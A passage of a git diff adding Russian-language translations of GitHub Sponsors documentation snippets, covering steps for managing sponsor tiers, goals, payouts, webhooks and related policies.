"Изменить"](/assets/images/help/sponsors/edit-goal-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/edit-tier.md b/translations/ru-RU/data/reusables/sponsors/edit-tier.md new file mode 100644 index 000000000000..9b971868784f --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/edit-tier.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6ad427905405dd0eb852313aa83752897c26bdea +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147888519" +--- +1. Нажмите **Изменить** справа от уровня, который вы хотите изменить. + ![Кнопка "Изменить уровень"](/assets/images/help/sponsors/edit-tier-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/enable-custom-amounts.md b/translations/ru-RU/data/reusables/sponsors/enable-custom-amounts.md new file mode 100644 index 000000000000..54110c6697ea --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/enable-custom-amounts.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 678ee22816d94082a8eca61c6681fd7736ee432c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137366" +--- +1. Если у вас есть хотя бы один уровень, вы увидите возможность включить пользовательские суммы сверх ежемесячных и разовых уровней. Если вы хотите разрешить спонсорам устанавливать сумму выплат, выберите параметр **Включить пользовательские суммы**. + ![Включить пользовательские суммы](/assets/images/help/sponsors/enable-custom-amounts.png) +1. При включении пользовательских сумм можно указать сумму, которая будет отображаться для пользовательских уровней по умолчанию. Укажите всю сумму в долларах и нажмите **Указать сумму по умолчанию**. + ![Указать сумму по умолчанию](/assets/images/help/sponsors/set-default-amount.png) diff --git a/translations/ru-RU/data/reusables/sponsors/feedback.md b/translations/ru-RU/data/reusables/sponsors/feedback.md new file mode 100644 index 000000000000..cdd3634dd936 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/feedback.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2dc8e766b8f52da783dfc4cc7318e302503c05a4 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147432155" +--- +Вы можете отправить свои комментарии {% data variables.product.prodname_sponsors %}, используя {% data variables.product.company_short %}. Чтобы присоединиться к беседе, см. [Отзывы спонсоров](https://github.com/orgs/community/discussions/categories/sponsors). diff --git a/translations/ru-RU/data/reusables/sponsors/github-contact-applicants.md b/translations/ru-RU/data/reusables/sponsors/github-contact-applicants.md new file mode 100644 index 000000000000..e5da7c3723a9 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/github-contact-applicants.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ec1e62688e78b50c979b7e64f009989a09660a56 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137363" +--- +{% data variables.product.prodname_dotcom %} может связываться с заявителями или участниками {% data variables.product.prodname_sponsors %} для получения дополнительной информации об их профилях спонсорства или деятельности и определения права на спонсорство или сопоставление либо в ходе расследования потенциальных нарушений условий. diff --git a/translations/ru-RU/data/reusables/sponsors/github-review-app.md b/translations/ru-RU/data/reusables/sponsors/github-review-app.md new file mode 100644 index 000000000000..648590257b17 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/github-review-app.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cdd8a22d4c3669903f04f62f483c05a3d5fd24fe +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137360" +--- +На просмотр приложения {% data variables.product.prodname_dotcom %} может потребоваться несколько дней. После того как мы утвердим ваше приложение, ваш профиль будет автоматически активирован в [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors). diff --git a/translations/ru-RU/data/reusables/sponsors/legal-additional-terms.md b/translations/ru-RU/data/reusables/sponsors/legal-additional-terms.md new file mode 100644 index 000000000000..0e192d3bfdb4 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/legal-additional-terms.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6e1ad7077fc4f01d7242003b7bd5a95c555ec6ac +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878354" +--- +{% data variables.product.prodname_matching_fund %} является подарком, предназначенным для поощрения финансирования сообщества работы над открытым кодом, и на него распространяются дополнительные условия. Подробные сведения о {% data variables.product.prodname_matching_fund %} см. в разделе [Дополнительные условия для {% data variables.product.prodname_sponsors %}](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms). diff --git a/translations/ru-RU/data/reusables/sponsors/manage-existing-webhooks.md b/translations/ru-RU/data/reusables/sponsors/manage-existing-webhooks.md new file mode 100644 index 000000000000..d03265bdfb23 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/manage-existing-webhooks.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b1b7a04ce1b608d0a99c8cd5173d85876ef5b2b8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137354" +--- +1. Чтобы изменить существующий веб-перехватчик, нажмите кнопку **Изменить**. Чтобы удалить существующий веб-перехватчик, нажмите кнопку **Удалить**. + ![Кнопки для управления веб-перехватчиком](/assets/images/help/sponsors/webhook-edit-delete-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/manage-sponsorship.md b/translations/ru-RU/data/reusables/sponsors/manage-sponsorship.md new file mode 100644 index 000000000000..33ee8b363671 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/manage-sponsorship.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 00a87a16f340374b8c7c457909eb90327a356aec +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137351" +--- +1. Нажмите **Управлять** справа от текущего уровня. + ![Кнопка "Управлять спонсорством"](/assets/images/help/sponsors/manage-your-sponsorship-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/manage-updates-for-orgs.md b/translations/ru-RU/data/reusables/sponsors/manage-updates-for-orgs.md new file mode 100644 index 000000000000..c1bf28e63d0d --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/manage-updates-for-orgs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a721669908749ca068e9556799a921a1cca19bd7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137348" +--- +Вы можете указать, какой адрес электронной почты должен получать обновления из учетных записей, спонсируемых вашей организацией. Дополнительные сведения см. в разделе [Управление обновлениями из учетных записей, спонсируемых вашей организацией](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors). diff --git a/translations/ru-RU/data/reusables/sponsors/matching-fund-eligible.md b/translations/ru-RU/data/reusables/sponsors/matching-fund-eligible.md new file mode 100644 index 000000000000..e204cc079b72 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/matching-fund-eligible.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d4a1fb5ee15b8c2a8d272ec57a5b23d41e9a503b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137345" +--- +Право на {% data variables.product.prodname_matching_fund %} утрачено. Приложения, полученные после крайнего срока 1 января 2020 г., не имеют права на {% data variables.product.prodname_matching_fund %}. diff --git a/translations/ru-RU/data/reusables/sponsors/maximum-tier.md b/translations/ru-RU/data/reusables/sponsors/maximum-tier.md new file mode 100644 index 000000000000..4157d92432af --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/maximum-tier.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e0f24455792948cb0b9969320f4a4227651564e4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137312" +--- +Максимальная цена составляет 12 000 долларов США в месяц. diff --git a/translations/ru-RU/data/reusables/sponsors/meet-the-team.md b/translations/ru-RU/data/reusables/sponsors/meet-the-team.md new file mode 100644 index 000000000000..5160b8764c88 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/meet-the-team.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 5be40face9f4c5afa8f00161e518a8a8f1e1a8e8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137309" +--- +1. При необходимости выберите участников организации, выделенных в вашем профиле {% data variables.product.prodname_sponsors %}. + - Нажмите кнопку **Изменить** справа от параметра "Встретиться с командой". + ![Кнопка изменения участников организации в профиле](/assets/images/help/sponsors/edit-org-members-profile-button.png) + - Выберите до шести членов организации и нажмите **Сохранить**. + ![Выбор выделенных участников организации](/assets/images/help/sponsors/select-highlighted-org-members.png) + - При необходимости под именем каждого выделенного участника введите его описание. + ![Описание выделенных участников организации](/assets/images/help/sponsors/description-highlighted-org-members.png) diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-github-sponsors.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-github-sponsors.md new file mode 100644 index 000000000000..79445f7cbab4 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-github-sponsors.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f596065adfe9f783005412d25bb4eb03d7b75c78 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137306" +--- +1. Перейдите к [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors). diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-payouts-tab.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-payouts-tab.md new file mode 100644 index 000000000000..3cd4c45e8a8c --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-payouts-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4cac44825ba2a46783f181e7a31bde84ff2ea184 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137303" +--- +1. На левой боковой панели нажмите **Выплаты**. + ![Вкладка "Уровни спонсоров"](/assets/images/help/sponsors/payouts-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-profile-tab.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-profile-tab.md new file mode 100644 index 000000000000..901e2580a646 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-profile-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: febd3b002b57ce4f397da905ec08d608f565418c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137300" +--- +1. На левой боковой панели щелкните **Сведения о профиле**. + ![Вкладка "Сведения о профиле"](/assets/images/help/sponsors/profile-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsor-tiers-tab.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsor-tiers-tab.md new file mode 100644 index 000000000000..26ab65bfdb1e --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsor-tiers-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 40b71e8f031cd8a520847b5ede5eccf3752ecb91 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137297" +--- +1. На левой боковой панели нажмите **Уровни спонсоров**. + ![Вкладка "Уровни спонсоров"](/assets/images/help/sponsors/sponsor-tiers-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsored-account.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsored-account.md new file mode 100644 index 000000000000..d07c82ee9762 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsored-account.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ae9fc1d91480c2cf8d76590bd5af14ea5e90697c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137294" +--- +1. В {% data variables.product.product_name %} перейдите к профилю спонсируемой учетной записи. diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsors-dashboard.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsors-dashboard.md new file mode 100644 index 000000000000..3e4c5b474a38 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsors-dashboard.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 97da6e16478273ce5b72e0af52069c1c06f40da0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137291" +--- +1. В правом верхнем углу любой страницы нажмите на свою фотографию профиля и выберите **Ваши спонсоры**. +![Кнопка {% data variables.product.prodname_sponsors %}](/assets/images/help/sponsors/access-github-sponsors-dashboard.png) +2. Если отобразится список спонсируемых и подходящих учетных записей, справа от учетной записи, которой вы хотите управлять, щелкните **Панель мониторинга**. +![Кнопка панели мониторинга для спонсоров разработчиков](/assets/images/help/sponsors/dev-sponsors-dashboard-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsors-tab.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsors-tab.md new file mode 100644 index 000000000000..834b7ad9672d --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-sponsors-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c9d3e6ae382eba643e89bec6f6bfd78c69c22d10 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137288" +--- +3. На левой боковой панели щелкните **Ваши спонсоры**. + ![Вкладка "Спонсоры"](/assets/images/help/sponsors/sponsors-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-webhooks-tab.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-webhooks-tab.md new file mode 100644 index 000000000000..4abacc9f5bbd --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-webhooks-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0c2e0127c66b1d0c2accdb131d1691e2cbd1c052 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137285" +--- +3. На левой боковой панели нажмите **Веб-перехватчики**. + ![Вкладка "Веб-перехватчики"](/assets/images/help/sponsors/webhooks-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/navigate-to-your-goals-tab.md b/translations/ru-RU/data/reusables/sponsors/navigate-to-your-goals-tab.md new file mode 100644 index 000000000000..02dbe36f95f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/navigate-to-your-goals-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 94bd2c323bed9b15083bc2ec2537c74865d46295 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886244" +--- +1. На левой боковой панели щелкните **Ваши цели**. +![Вкладка "Ваши цели"](/assets/images/help/sponsors/your-goals-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/no-fees.md b/translations/ru-RU/data/reusables/sponsors/no-fees.md new file mode 100644 index 000000000000..9089de20c1b3 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/no-fees.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 24a17e4fee05525848ae744fe6ab18a0cb4c5ed4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137249" +--- +{% data variables.product.prodname_sponsors %} не взимает плату за спонсорство с личных учетных записей, и спонсируемый разработчик или организация получают спонсорскую поддержку в полном объеме. В период бета-тестирования организации освобождаются от 10 % комиссии за спонсорство. diff --git a/translations/ru-RU/data/reusables/sponsors/no-refunds.md b/translations/ru-RU/data/reusables/sponsors/no-refunds.md new file mode 100644 index 000000000000..c607b6528c11 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/no-refunds.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 903cbf3f68e8463e39d13ae4111514e0c1d1d65b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137246" +--- +Платежи за {% data variables.product.prodname_sponsors %} не возвращаются. diff --git a/translations/ru-RU/data/reusables/sponsors/opt-in-to-being-featured.md b/translations/ru-RU/data/reusables/sponsors/opt-in-to-being-featured.md new file mode 100644 index 000000000000..339ae33d9ea0 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/opt-in-to-being-featured.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: fc33205494591a581271548175f356d8202665aa +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878477" +--- +1. При необходимости выберите **Дать согласие на возможный показ в числе спонсоров github.com**. + ![Флажок согласия на показ](/assets/images/help/sponsors/opt-in-to-being-featured.png) diff --git a/translations/ru-RU/data/reusables/sponsors/org-sponsored-choose-updates.md b/translations/ru-RU/data/reusables/sponsors/org-sponsored-choose-updates.md new file mode 100644 index 000000000000..cf5c1627572a --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/org-sponsored-choose-updates.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7fb5487e0b93f644a850d2c223b5210aa724010e +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145137240" +--- +4. Решите, хотите ли вы получать обновления из спонсируемой организации по электронной почте, а затем установите или снимите флажок "Получение обновлений из _ОРГАНИЗАЦИИ_". + ![Флажок для получения обновлений из спонсируемой организации](/assets/images/help/sponsors/org-updates-checkbox-manage.png) diff --git a/translations/ru-RU/data/reusables/sponsors/org-sponsors-release-phase.md b/translations/ru-RU/data/reusables/sponsors/org-sponsors-release-phase.md new file mode 100644 index 000000000000..9a6beaab6198 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/org-sponsors-release-phase.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d434dc648db909150833ff0e8e8b4712c680fb9b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137237" +--- +{% note %} + +**Примечание.** Спонсорство от имени организации пока доступно только в бета-версии и может быть изменено. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/sponsors/overview-tab.md b/translations/ru-RU/data/reusables/sponsors/overview-tab.md new file mode 100644 index 000000000000..a21ad9f97763 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/overview-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: aa6de24ab054b2b12784008323e476e4a97c6fdf +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886268" +--- +1. На левой боковой панели щелкните **Обзор**. + ![Вкладка "Обзор"](/assets/images/help/sponsors/overview-tab.png) diff --git a/translations/ru-RU/data/reusables/sponsors/pay-prorated-amount.md b/translations/ru-RU/data/reusables/sponsors/pay-prorated-amount.md new file mode 100644 index 000000000000..51ca482a34d5 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/pay-prorated-amount.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f3ea88d3cbfd56f0764a4603e83353a7fd6cd4cf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137231" +--- +1. Если вы выступаете спонсором как организация, то для оплаты пропорциональной, а не всей суммы ежемесячного платежа, в разделе "Общая сумма к оплате", нажмите кнопку **Оплатить вместо фиксированной пропорциональную сумму $X.XX**. + ![Ссылка на оплату пропорциональной суммы](/assets/images/help/sponsors/pay-prorated-amount-link.png) diff --git a/translations/ru-RU/data/reusables/sponsors/payout-info.md b/translations/ru-RU/data/reusables/sponsors/payout-info.md new file mode 100644 index 000000000000..c7066c07ec46 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/payout-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c874cf6dea27f17df7d1e51648430bc51be4d990 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137228" +--- +Сведения о сроках оплаты из {% data variables.product.prodname_sponsors %} см. в разделе [Дополнительные условия для спонсоров GitHub](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms#43-payment-timing). diff --git a/translations/ru-RU/data/reusables/sponsors/prorated-sponsorship.md b/translations/ru-RU/data/reusables/sponsors/prorated-sponsorship.md new file mode 100644 index 000000000000..1a0b34ecedd0 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/prorated-sponsorship.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 51cac01ecd1eea947821d3f4563287e5164cd813 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137225" +--- +Как только вы начнете ежемесячное спонсорство от имени своей личной учетной записи, с вас будет списана оплата за время до следующей даты регулярного платежа. Если вы выступаете спонсором от имени организации, то можете выбрать пропорциональную оплату или полный месячный платеж. diff --git a/translations/ru-RU/data/reusables/sponsors/publish-goal.md b/translations/ru-RU/data/reusables/sponsors/publish-goal.md new file mode 100644 index 000000000000..c4409c935f23 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/publish-goal.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 734438072b5e42b875456333e5a826c268c0c0ef +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137201" +--- +1. Нажмите кнопку **Опубликовать**. +![Кнопка "Опубликовать"](/assets/images/help/sponsors/publish-goal-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/publish-sponsor-update.md b/translations/ru-RU/data/reusables/sponsors/publish-sponsor-update.md new file mode 100644 index 000000000000..af3626043c8c --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/publish-sponsor-update.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fa23732e8e77cfaf2affbdeabb77e6326a567a1e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137198" +--- +7. Нажмите кнопку **Опубликовать**. diff --git a/translations/ru-RU/data/reusables/sponsors/request-approval.md b/translations/ru-RU/data/reusables/sponsors/request-approval.md new file mode 100644 index 000000000000..909af9daa27d --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/request-approval.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b42fc491d6fa725bdec32ccc74172b470c640ef1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137195" +--- +1. Щелкните **Утверждение запроса**. + ![Кнопка "Утверждение запроса"](/assets/images/help/sponsors/request-approval-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/retire-goal.md b/translations/ru-RU/data/reusables/sponsors/retire-goal.md new file mode 100644 index 000000000000..f2053a136b9f --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/retire-goal.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: d71010430e273e07e31483be3de6a8bcf0b686b6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137192" +--- +1. В нижней части страницы щелкните **Прекратить использование**. +![Кнопка "Прекратить использование"](/assets/images/help/sponsors/retire-goal-button.png) +2. Ознакомьтесь с предупреждением и нажмите кнопку **ОК**. +![Предупреждение о прекращении использования цели](/assets/images/help/sponsors/confirm-retire-goal.png) diff --git a/translations/ru-RU/data/reusables/sponsors/retire-tier.md b/translations/ru-RU/data/reusables/sponsors/retire-tier.md new file mode 100644 index 000000000000..dd1e37e6397b --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/retire-tier.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2a1c7d9cdb0acabe559017bfb3a793ac55b49b49 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878841" +--- +7. Чтобы прекратить использовать уровень, щелкните **Прекратить использование уровня** и нажмите кнопку **ОК**. + ![Кнопка "Прекратить использование уровня"](/assets/images/help/sponsors/retire-tier-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/review-and-publish-tier.md b/translations/ru-RU/data/reusables/sponsors/review-and-publish-tier.md new file mode 100644 index 000000000000..dc7816d76f12 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/review-and-publish-tier.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: fe1fc6423171b64c6bf8ef4eadb27f6ddf4e9232 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148008744" +--- +1. Проверка правописания на уровне, а затем щелкните **Опубликовать уровень**. + ![Снимок экрана: страница нового уровня с выделенным элементом "Опубликовать ежемесячный уровень"](/assets/images/help/sponsors/publish-tier-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/review-tiers-to-select.md b/translations/ru-RU/data/reusables/sponsors/review-tiers-to-select.md new file mode 100644 index 000000000000..70223d64f576 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/review-tiers-to-select.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0ba60bb37e18ba4deb0d051f2d12a484e13c1e31 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139870" +--- +1. Проверьте доступные уровни спонсорства, которые представлены в правой части страницы в разделе "Выбор уровня". Если доступны уровни разных типов, отображаются уровни с ежемесячной оплатой. Чтобы показать уровни с разовыми платежами, щелкните **Разовый**. + ![Отображение уровней с разовыми платежами](/assets/images/help/sponsors/show-one-time-tiers.png) diff --git a/translations/ru-RU/data/reusables/sponsors/save-profile.md b/translations/ru-RU/data/reusables/sponsors/save-profile.md new file mode 100644 index 000000000000..e40618fc6282 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/save-profile.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9b9ee7cf5ff3ec27a216892c2c7a0fd6df029a5d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137186" +--- +1. Нажмите 